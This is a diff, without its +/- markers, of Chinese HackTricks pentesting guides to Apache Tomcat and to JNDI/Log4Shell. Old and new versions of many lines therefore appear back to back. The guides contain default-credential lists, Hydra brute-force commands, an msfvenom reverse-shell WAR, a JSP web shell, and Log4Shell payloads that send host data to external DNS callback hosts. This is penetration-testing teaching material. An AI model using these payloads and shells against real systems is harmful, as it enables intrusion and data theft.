发现最重要的漏洞,以便更快地修复它们。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## 发现
|
||||
|
||||
* 通常在**端口8080**上运行
|
||||
|
@ -30,23 +22,28 @@
|
|||
## 枚举
|
||||
|
||||
### **版本识别**
|
||||
|
||||
要找到Apache Tomcat的版本,可以执行简单的命令:
|
||||
```bash
|
||||
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
|
||||
```
|
||||
### **管理文件位置**
|
||||
识别**`/manager`**和**`/host-manager`**目录的确切位置至关重要,因为它们的名称可能已更改。建议使用暴力搜索来定位这些页面。
|
||||
|
||||
识别 **`/manager`** 和 **`/host-manager`** 目录的确切位置至关重要,因为它们的名称可能已被更改。建议使用暴力搜索来定位这些页面。
|
||||
|
||||
### **用户名枚举**
|
||||
对于早于6版本的Tomcat,可以通过以下方式枚举用户名:
|
||||
|
||||
对于早于 6 版本的 Tomcat,可以通过以下方式枚举用户名:
|
||||
```bash
|
||||
msf> use auxiliary/scanner/http/tomcat_enum
|
||||
```
|
||||
### **默认凭据**
|
||||
|
||||
**`/manager/html`** 目录特别敏感,因为它允许上传和部署 WAR 文件,这可能导致代码执行。该目录受基本的 HTTP 身份验证保护,常见凭据包括:
|
||||
|
||||
- admin:admin
|
||||
- tomcat:tomcat
|
||||
- admin:<NOTHING>
|
||||
- admin:
|
||||
- admin:s3cr3t
|
||||
- tomcat:s3cr3t
|
||||
- admin:tomcat
|
||||
|
@ -58,6 +55,7 @@ msf> use auxiliary/scanner/http/tomcat_mgr_login
|
|||
另一个值得注意的目录是**`/manager/status`**,它显示Tomcat和操作系统版本,有助于识别漏洞。
|
||||
|
||||
### **暴力破解攻击**
|
||||
|
||||
要尝试对管理目录进行暴力破解攻击,可以使用:
|
||||
```bash
|
||||
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
|
||||
|
@ -65,14 +63,17 @@ hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 1
|
|||
## 常见漏洞
|
||||
|
||||
### **密码回溯泄露**
|
||||
访问 `/auth.jsp` 可能会在幸运的情况下显示密码回溯。
|
||||
|
||||
### **双 URL 编码**
|
||||
`mod_jk` 中的 CVE-2007-1860 漏洞允许双 URL 编码路径遍历,通过精心构造的 URL 可以未经授权访问管理界面。
|
||||
访问 `/auth.jsp` 可能会在幸运的情况下显示密码的回溯。
|
||||
|
||||
要访问 Tomcat 的管理 Web,请转到:`pathTomcat/%252E%252E/manager/html`
|
||||
### **双重URL编码**
|
||||
|
||||
`mod_jk` 中的 CVE-2007-1860 漏洞允许双重URL编码路径遍历,通过精心构造的URL可以未经授权访问管理界面。
|
||||
|
||||
要访问Tomcat的管理Web,请转到:`pathTomcat/%252E%252E/manager/html`
|
||||
|
||||
### /examples
|
||||
|
||||
Apache Tomcat 版本 4.x 到 7.x 包括易受信息泄露和跨站脚本(XSS)攻击影响的示例脚本。这些列出的脚本应该被检查是否存在未经授权访问和潜在利用。查找[更多信息](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)。
|
||||
|
||||
* /examples/jsp/num/numguess.jsp
|
||||
|
@ -99,19 +100,20 @@ Apache Tomcat 版本 4.x 到 7.x 包括易受信息泄露和跨站脚本(XSS
|
|||
* /tomcat-docs/appdev/sample/web/hello.jsp
|
||||
|
||||
### **路径遍历利用**
|
||||
在一些[**Tomcat 的易受配置**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/)中,您可以使用路径 `/..;/` 访问 Tomcat 中的受保护目录。
|
||||
|
||||
因此,例如,您可能能够通过访问以下路径**访问 Tomcat 管理员**页面:`www.vulnerable.com/lalala/..;/manager/html`
|
||||
在一些[**Tomcat的易受配置**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/)中,您可以使用路径 `/..;/` 访问Tomcat中的受保护目录。
|
||||
|
||||
因此,例如,您可能能够通过访问 `www.vulnerable.com/lalala/..;/manager/html` 来**访问Tomcat管理器**页面。
|
||||
|
||||
**另一种**绕过受保护路径的方法是访问 `http://www.vulnerable.com/;param=value/manager/html`
|
||||
|
||||
## RCE
|
||||
|
||||
最后,如果您可以访问 Tomcat Web 应用程序管理器,您可以**上传和部署 .war 文件(执行代码)**。
|
||||
最后,如果您可以访问Tomcat Web应用程序管理器,您可以**上传和部署.war文件(执行代码)**。
|
||||
|
||||
### 限制
|
||||
|
||||
只有当您拥有**足够的权限**(角色:**admin**、**manager** 和 **manager-script**)时,您才能部署 WAR。这些详细信息通常在 `/usr/share/tomcat9/etc/tomcat-users.xml` 中定义(在不同版本之间可能有所不同)(请参阅[POST](tomcat.md#post)部分)。
|
||||
只有当您拥有**足够的权限**(角色:**admin**、**manager** 和 **manager-script**)时,您才能部署WAR。这些详细信息通常在 `/usr/share/tomcat9/etc/tomcat-users.xml` 中定义(在不同版本之间可能有所不同)(请参阅[POST](tomcat.md#post)部分)。
|
||||
```bash
|
||||
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
|
||||
|
||||
|
@ -138,7 +140,9 @@ msf exploit(multi/http/tomcat_mgr_upload) > exploit
|
|||
```bash
|
||||
msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
|
||||
```
|
||||
### 使用 [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer) 进行绑定和反向 shell:
|
||||
2. 上传 `revshell.war` 文件并访问它 (`/revshell/`):
|
||||
|
||||
### 使用 [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer) 进行绑定和反向 shell
|
||||
|
||||
在某些情况下,这种方法不起作用(例如旧版本的 sun)
|
||||
|
||||
|
@ -160,7 +164,7 @@ clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --d
|
|||
```
|
||||
### 手动方法 - Web shell
|
||||
|
||||
创建名为 **index.jsp** 的文件,并使用以下[内容](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp):
|
||||
创建**index.jsp**,内容如下: [content](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp):
|
||||
```java
|
||||
<FORM METHOD=GET ACTION='index.jsp'>
|
||||
<INPUT name='cmd' type=text>
|
||||
|
@ -206,7 +210,7 @@ Tomcat凭据文件的名称是 _tomcat-users.xml_
|
|||
```bash
|
||||
find / -name tomcat-users.xml 2>/dev/null
|
||||
```
|
||||
其他收集Tomcat凭据的方法:
|
||||
其他收集Tomcat凭证的方法:
|
||||
```bash
|
||||
msf> use post/multi/gather/tomcat_gather
|
||||
msf> use post/windows/gather/enum_tomcat
|
||||
|
@ -216,25 +220,22 @@ msf> use post/windows/gather/enum_tomcat
|
|||
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
|
||||
|
||||
## 参考资料
|
||||
|
||||
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
|
||||
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
找到最重要的漏洞,这样您就可以更快地修复它们。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
<img src="../../.gitbook/assets/image (675).png" alt="" data-size="original">
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
找到最重要的漏洞,让您能更快地修复它们。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) !
|
||||
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 您想在**HackTricks中看到您的公司广告**吗? 或者您想访问**PEASS的最新版本或下载PDF格式的HackTricks**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs收藏品](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* 您在**网络安全公司**工作吗?您想在**HackTricks中宣传您的公司**吗?或者您想访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的 **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧**。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# JNDI - Java命名和目录接口 & Log4Shell
|
||||
# JNDI - Java Naming and Directory Interface & Log4Shell
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -6,135 +6,133 @@
|
|||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
|
||||
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs收藏品](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
发现最重要的漏洞,以便更快地修复它们。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm_source=referral\&utm_campaign=hacktricks)。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## 基本信息
|
||||
|
||||
自上世纪90年代末集成到Java中的JNDI作为目录服务,使Java程序能够通过命名系统定位数据或对象。它通过服务提供者接口(SPI)支持各种目录服务,允许从不同系统(包括远程Java对象)检索数据。常见的SPI包括CORBA COS、Java RMI注册表和LDAP。
|
||||
自上世纪90年代末集成到Java中的JNDI作为目录服务,使Java程序能够通过命名系统定位数据或对象。它通过服务提供者接口(SPIs)支持各种目录服务,允许从不同系统(包括远程Java对象)检索数据。常见的SPI包括CORBA COS、Java RMI Registry和LDAP。
|
||||
|
||||
### JNDI命名引用
|
||||
|
||||
Java对象可以使用JNDI命名引用存储和检索,有两种形式:
|
||||
|
||||
- **引用地址**:指定对象的位置(例如,_rmi://server/ref_),允许直接从指定地址检索。
|
||||
- **远程工厂**:引用远程工厂类。访问时,该类将从远程位置下载并实例化。
|
||||
* **引用地址**:指定对象的位置(例如,_rmi://server/ref_),允许直接从指定地址检索。
|
||||
* **远程工厂**:引用远程工厂类。访问时,该类将从远程位置下载并实例化。
|
||||
|
||||
然而,这种机制可能会被利用,可能导致加载和执行任意代码。作为对策:
|
||||
然而,这种机制可能会被利用,潜在地导致加载和执行任意代码。作为对策:
|
||||
|
||||
- **RMI**:从JDK 7u21起,默认为`java.rmi.server.useCodeabseOnly = true`,限制远程对象加载。安全管理器进一步限制可加载的内容。
|
||||
- **LDAP**:从JDK 6u141、7u131、8u121起,默认为`com.sun.jndi.ldap.object.trustURLCodebase = false`,阻止执行远程加载的Java对象。如果设置为`true`,则可能在没有安全管理器监督的情况下执行远程代码。
|
||||
- **CORBA**:没有特定属性,但安全管理器始终处于活动状态。
|
||||
* **RMI**:从JDK 7u21起,默认为`java.rmi.server.useCodeabseOnly = true`,限制远程对象加载。安全管理器进一步限制可加载的内容。
|
||||
* **LDAP**:从JDK 6u141、7u131、8u121起,默认为`com.sun.jndi.ldap.object.trustURLCodebase = false`,阻止执行远程加载的Java对象。如果设置为`true`,则可以在没有安全管理器监督的情况下执行远程代码。
|
||||
* **CORBA**:没有特定的属性,但安全管理器始终处于活动状态。
|
||||
|
||||
然而,负责解析JNDI链接的**命名管理器**缺乏内置安全机制,可能允许从任何来源检索对象。这会带来风险,因为可以绕过RMI、LDAP和CORBA保护,导致加载任意Java对象或利用现有应用程序组件(小工具)运行恶意代码。
|
||||
然而,负责解析JNDI链接的**命名管理器**缺乏内置安全机制,可能允许从任何来源检索对象。这会带来风险,因为可以绕过RMI、LDAP和CORBA的保护,导致加载任意Java对象或利用现有应用程序组件(小工具)运行恶意代码。
|
||||
|
||||
可利用的URL示例包括:
|
||||
- _rmi://attacker-server/bar_
|
||||
- _ldap://attacker-server/bar_
|
||||
- _iiop://attacker-server/bar_
|
||||
|
||||
尽管有保护措施,漏洞仍然存在,主要是由于缺乏防止从不受信任来源加载JNDI的保护措施以及绕过现有保护的可能性。
|
||||
* _rmi://attacker-server/bar_
|
||||
* _ldap://attacker-server/bar_
|
||||
* _iiop://attacker-server/bar_
|
||||
|
||||
尽管有保护措施,漏洞仍然存在,主要是由于缺乏对从不受信任来源加载JNDI的保护以及绕过现有保护的可能性。
|
||||
|
||||
### JNDI示例
|
||||
|
||||
![](<../../.gitbook/assets/image (655) (1) (1).png>)
|
||||
|
||||
即使设置了**`PROVIDER_URL`**,您也可以在查找中指定不同的URL并访问:`ctx.lookup("<attacker-controlled-url>")`,这就是攻击者将滥用的方式,从由他控制的系统加载任意对象。
|
||||
即使您设置了**`PROVIDER_URL`**,您也可以在查找中指定不同的URL并访问:`ctx.lookup("<attacker-controlled-url>")`,这就是攻击者将滥用以从其控制的系统加载任意对象的方式。
|
||||
|
||||
### CORBA概述
|
||||
|
||||
CORBA(通用对象请求代理体系结构)使用**可互操作对象引用(IOR)**来唯一标识远程对象。此引用包括关键信息,如:
|
||||
|
||||
- **类型ID**:接口的唯一标识符。
|
||||
- **代码库**:用于获取存根类的URL。
|
||||
* **类型ID**:接口的唯一标识符。
|
||||
* **代码库**:用于获取存根类的URL。
|
||||
|
||||
值得注意的是,CORBA本身并不易受攻击。确保安全通常涉及:
|
||||
|
||||
- 安装**安全管理器**。
|
||||
- 配置安全管理器以允许连接到潜在恶意代码库。可以通过以下方式实现:
|
||||
- Socket权限,例如,````permissions java.net.SocketPermission "*:1098-1099", "connect";````。
|
||||
- 文件读取权限,可以是全局的(````permission java.io.FilePermission "<<ALL FILES>>", "read";````)或针对可能放置恶意文件的特定目录。
|
||||
* 安装**安全管理器**。
|
||||
* 配置安全管理器以允许连接到潜在恶意代码库。可以通过以下方式实现:
|
||||
* Socket权限,例如,`permissions java.net.SocketPermission "*:1098-1099", "connect";`。
|
||||
* 文件读取权限,可以是全局的(`permission java.io.FilePermission "<<ALL FILES>>", "read";`)或针对可能放置恶意文件的特定目录。
|
||||
|
||||
但是,一些供应商政策可能宽松,并默认允许这些连接。
|
||||
然而,一些供应商政策可能宽松,允许默认情况下进行这些连接。
|
||||
|
||||
### RMI上下文
|
||||
|
||||
对于RMI(远程方法调用),情况略有不同。与CORBA一样,默认情况下限制了任意类下载。要利用RMI,通常需要绕过安全管理器,这在CORBA中也是相关的。
|
||||
对于RMI(远程方法调用),情况略有不同。与CORBA一样,默认情况下限制了任意类的下载。要利用RMI,通常需要绕过安全管理器,这也适用于CORBA。
|
||||
|
||||
### LDAP
|
||||
|
||||
首先,我们需要区分搜索和查找。\
|
||||
**搜索**将使用类似`ldap://localhost:389/o=JNDITutorial`的URL查找LDAP服务器中的JNDITutorial对象并**检索其属性**。\
|
||||
**查找**用于**命名服务**,因为我们想获取**绑定到名称的任何内容**。
|
||||
**搜索**将使用类似`ldap://localhost:389/o=JNDITutorial`的URL来查找LDAP服务器中的JNDITutorial对象并**检索其属性**。\
|
||||
**查找**用于**命名服务**,因为我们想要获取**绑定到名称的任何内容**。
|
||||
|
||||
如果LDAP搜索使用了`SearchControls.setReturningObjFlag()`和`true`,则返回的对象将被重建。
|
||||
如果LDAP搜索使用了`SearchControls.setReturningObjFlag()`并设置为`true`,则返回的对象将被重建。
|
||||
|
||||
因此,有几种攻击这些选项的方法。\
|
||||
攻击者可以在LDAP记录中**注入有效负载**,这些有效负载将在收集它们的系统中执行(如果您可以访问LDAP服务器,则非常有用,可以**危害数十台机器**)。另一种利用方法是执行LDAP搜索的**中间人攻击**,例如。
|
||||
**攻击者可以在LDAP记录中植入有效负载**,这些有效负载将在收集它们的系统中执行(如果您可以访问LDAP服务器,则非常有用,可以**危害数十台机器**)。另一种利用方法是在LDAP搜索中执行**中间人攻击**,例如。
|
||||
|
||||
如果您可以**让应用程序解析JNDI LDAP URL**,则可以控制将要搜索的LDAP,并且可以发送回利用(log4shell)。
|
||||
如果您可以**让应用程序解析JNDI LDAP URL**,则可以控制将被搜索的LDAP,并且可以发送回利用(log4shell)。
|
||||
|
||||
#### 反序列化利用
|
||||
|
||||
![](<../../.gitbook/assets/image (654) (1) (1) (1).png>)
|
||||
|
||||
**利用被序列化**,将进行反序列化。\
|
||||
如果`trustURLCodebase`为`true`,则攻击者可以在代码库中提供自己的类;如果不是,则需要在类路径中滥用小工具。
|
||||
如果`trustURLCodebase`为`true`,攻击者可以在代码库中提供自己的类;如果不是,则需要在类路径中滥用小工具。
|
||||
|
||||
#### JNDI引用利用
|
||||
|
||||
更容易攻击此LDAP使用**JavaFactory引用**:
|
||||
使用**JavaFactory引用**更容易攻击此LDAP:
|
||||
|
||||
![](<../../.gitbook/assets/image (660) (1) (1).png>)
|
||||
|
||||
## Log4Shell漏洞
|
||||
|
||||
该漏洞存在于Log4j中,因为它支持一种[**特殊语法**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution),形式为`${prefix:name}`,其中`prefix`是多种不同[**查找**](https://logging.apache.org/log4j/2.x/manual/lookups.html)之一,`name`应该被评估。例如,`${java:version}`是当前运行的Java版本。
|
||||
该漏洞出现在Log4j中,因为它支持一种[**特殊语法**](https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution),形式为`${prefix:name}`,其中`prefix`是多种不同[**查找**](https://logging.apache.org/log4j/2.x/manual/lookups.html)之一,`name`应该被评估。例如,`${java:version}`是当前运行的Java版本。
|
||||
|
||||
[**LOG4J2-313**](https://issues.apache.org/jira/browse/LOG4J2-313)引入了`jndi`查找功能。此功能通过JNDI允许检索变量。通常,密钥会自动添加前缀`java:comp/env/`。但是,如果密钥本身包含**“:”**,则不会应用此默认前缀。
|
||||
|
||||
如果密钥中存在**“:”**,例如`${jndi:ldap://example.com/a}`,则没有前缀,将查询LDAP服务器以获取对象。这些查找可以在Log4j的配置以及记录行中使用。
|
||||
如果密钥中有**“:”**,例如`${jndi:ldap://example.com/a}`,则没有前缀,**LDAP服务器将查询对象**。这些查找可以在Log4j的配置以及记录行中使用。
|
||||
|
||||
因此,要实现RCE,只需要一个**受用户控制的信息**,以及因为这是Java应用程序广泛使用的库来记录信息(包括面向互联网的应用程序),通常会有log4j记录例如接收的HTTP标头,但log4j**不仅用于记录HTTP信息,还用于记录任何输入**和开发人员指定的数据。
|
||||
因此,要实现RCE,只需要一个**受用户控制的信息**,以及一个易受攻击的Log4j版本。由于这是Java应用程序广泛使用的用于记录信息的库(包括面向互联网的应用程序),通常会有log4j记录例如接收的HTTP标头,如User-Agent。但是,log4j**不仅用于记录HTTP信息,还用于记录任何输入**和开发人员指定的数据。
|
||||
## Log4Shell相关CVE概述
|
||||
|
||||
## 与Log4Shell相关的CVE概述
|
||||
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **\[关键]**
|
||||
|
||||
### [CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228) **[关键]**
|
||||
这个漏洞是`log4j-core`组件中的关键**不受信任的反序列化漏洞**,影响版本从2.0-beta9到2.14.1。它允许**远程代码执行(RCE)**,使攻击者能够接管系统。该问题由阿里巴巴云安全团队的Chen Zhaojun报告,并影响各种Apache框架。版本2.15.0中的初始修复不完整。可用于防御的Sigma规则([规则1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j_fields.yml),[规则2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j.yml))。
|
||||
这个漏洞是`log4j-core`组件中的关键**未受信任的反序列化漏洞**,影响版本从2.0-beta9到2.14.1。它允许**远程代码执行(RCE)**,使攻击者能够接管系统。该问题由阿里巴巴云安全团队的陈兆军报告,并影响各种Apache框架。版本2.15.0中的初始修复是不完整的。有用于防御的Sigma规则可用([规则1](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j\_fields.yml),[规则2](https://github.com/SigmaHQ/sigma/blob/master/rules/web/web\_cve\_2021\_44228\_log4j.yml))。
|
||||
|
||||
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **[关键]**
|
||||
最初评为低风险,后来升级为关键,此CVE是由于2.15.0对CVE-2021-44228的修复不完整而导致的**拒绝服务(DoS)**漏洞。它影响非默认配置,允许攻击者通过精心制作的有效负载进行DoS攻击。一条[tweet](https://twitter.com/marcioalm/status/1471740771581652995)展示了一种绕过方法。通过在版本2.16.0和2.12.2中删除消息查找模式并默认禁用JNDI来解决此问题。
|
||||
### [CVE-2021-45046](https://nvd.nist.gov/vuln/detail/CVE-2021-45046) **\[关键]**
|
||||
|
||||
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **[高]**
|
||||
影响**Log4j 1.x版本**中使用`JMSAppender`的非默认配置,此CVE是一个不受信任的反序列化漏洞。1.x分支没有可用的修复程序,建议升级到`log4j-core 2.17.0`。
|
||||
最初评级较低,但后来升级为关键,这个CVE是由于对CVE-2021-44228在2.15.0中的修复不完整而导致的**拒绝服务(DoS)**漏洞。它影响非默认配置,允许攻击者通过精心制作的载荷发起DoS攻击。一条[tweet](https://twitter.com/marcioalm/status/1471740771581652995)展示了一种绕过方法。该问题在版本2.16.0和2.12.2中得到解决,方法是删除消息查找模式并默认禁用JNDI。
|
||||
|
||||
### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **[中等]**
|
||||
此漏洞影响**Logback日志框架**,这是Log4j 1.x的后继者。此前认为是安全的框架被发现存在漏洞,并已发布新版本(1.3.0-alpha11和1.2.9)以解决此问题。
|
||||
### [CVE-2021-4104](https://nvd.nist.gov/vuln/detail/CVE-2021-4104) **\[高]**
|
||||
|
||||
### **CVE-2021-45105** **[高]**
|
||||
Log4j 2.16.0存在DoS漏洞,促使发布`log4j 2.17.0`来修复CVE。更多详细信息请参阅BleepingComputer的[报告](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/)。
|
||||
影响非默认配置中使用`JMSAppender`的**Log4j 1.x版本**,这个CVE是一个未受信任的反序列化漏洞。1.x分支没有可用的修复,该分支已经终止生命周期,建议升级到`log4j-core 2.17.0`。
|
||||
|
||||
### [CVE-2021-42550](https://nvd.nist.gov/vuln/detail/CVE-2021-42550) **\[中等]**
|
||||
|
||||
这个漏洞影响**Logback日志框架**,这是Log4j 1.x的后继者。此前认为是安全的框架被发现存在漏洞,新版本(1.3.0-alpha11和1.2.9)已发布以解决此问题。
|
||||
|
||||
### **CVE-2021-45105** **\[高]**
|
||||
|
||||
Log4j 2.16.0存在一个DoS漏洞,促使发布`log4j 2.17.0`来修复该CVE。更多详细信息请参阅BleepingComputer的[报告](https://www.bleepingcomputer.com/news/security/upgraded-to-log4j-216-surprise-theres-a-217-fixing-dos/)。
|
||||
|
||||
### [CVE-2021-44832](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)
|
||||
影响log4j版本2.17,此CVE要求攻击者控制log4j的配置文件。它涉及通过配置的JDBCAppender可能的任意代码执行。有关更多详细信息,请参阅[Checkmarx博客文章](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)。
|
||||
|
||||
影响log4j版本2.17,这个CVE要求攻击者控制log4j的配置文件。它涉及通过配置的JDBCAppender进行潜在的任意代码执行。更多详细信息请参阅[Checkmarx博客文章](https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/)。
|
||||
|
||||
## Log4Shell利用
|
||||
|
||||
### 发现
|
||||
|
||||
如果未受保护,此漏洞非常容易发现,因为它将向您在有效负载中指定的地址发送至少一个**DNS请求**。因此,像以下这样的有效负载:
|
||||
如果没有受保护,这个漏洞很容易被发现,因为它会向您在负载中指定的地址发送至少一个**DNS请求**。因此,像以下这样的负载:
|
||||
|
||||
* `${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}`(使用[canarytokens.com](https://canarytokens.org/generate))
|
||||
* `${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}`(使用[interactsh](https://github.com/projectdiscovery/interactsh))
|
||||
|
@ -150,20 +148,20 @@ Log4j 2.16.0存在DoS漏洞,促使发布`log4j 2.17.0`来修复CVE。更多详
|
|||
|
||||
#### **本地发现**
|
||||
|
||||
搜索**本地受影响版本**的库:
|
||||
搜索**本地易受攻击版本**的库:
|
||||
```bash
|
||||
find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j\-core\-(1\.[^0]|2\.[0-9][^0-9]|2\.1[0-6])"
|
||||
```
|
||||
### **验证**
|
||||
|
||||
之前列出的一些平台将允许您插入一些变量数据,当请求时将被记录。\
|
||||
这对于两件事情非常有用:
|
||||
这对两件事情非常有用:
|
||||
|
||||
* **验证**漏洞
|
||||
* 滥用漏洞**窃取信息**
|
||||
|
||||
例如,您可以请求类似于:\
|
||||
或者像`${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`**,如果收到带有环境变量值的**DNS请求**,则知道应用程序存在漏洞。
|
||||
或者像`${`**`jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}`**,如果收到具有环境变量值的**DNS请求**,则知道应用程序存在漏洞。
|
||||
|
||||
您可以尝试**泄露**的其他信息:
|
||||
```
|
||||
|
@ -219,18 +217,18 @@ Any other env variable name that could store sensitive information
|
|||
### RCE 信息
|
||||
|
||||
{% hint style="info" %}
|
||||
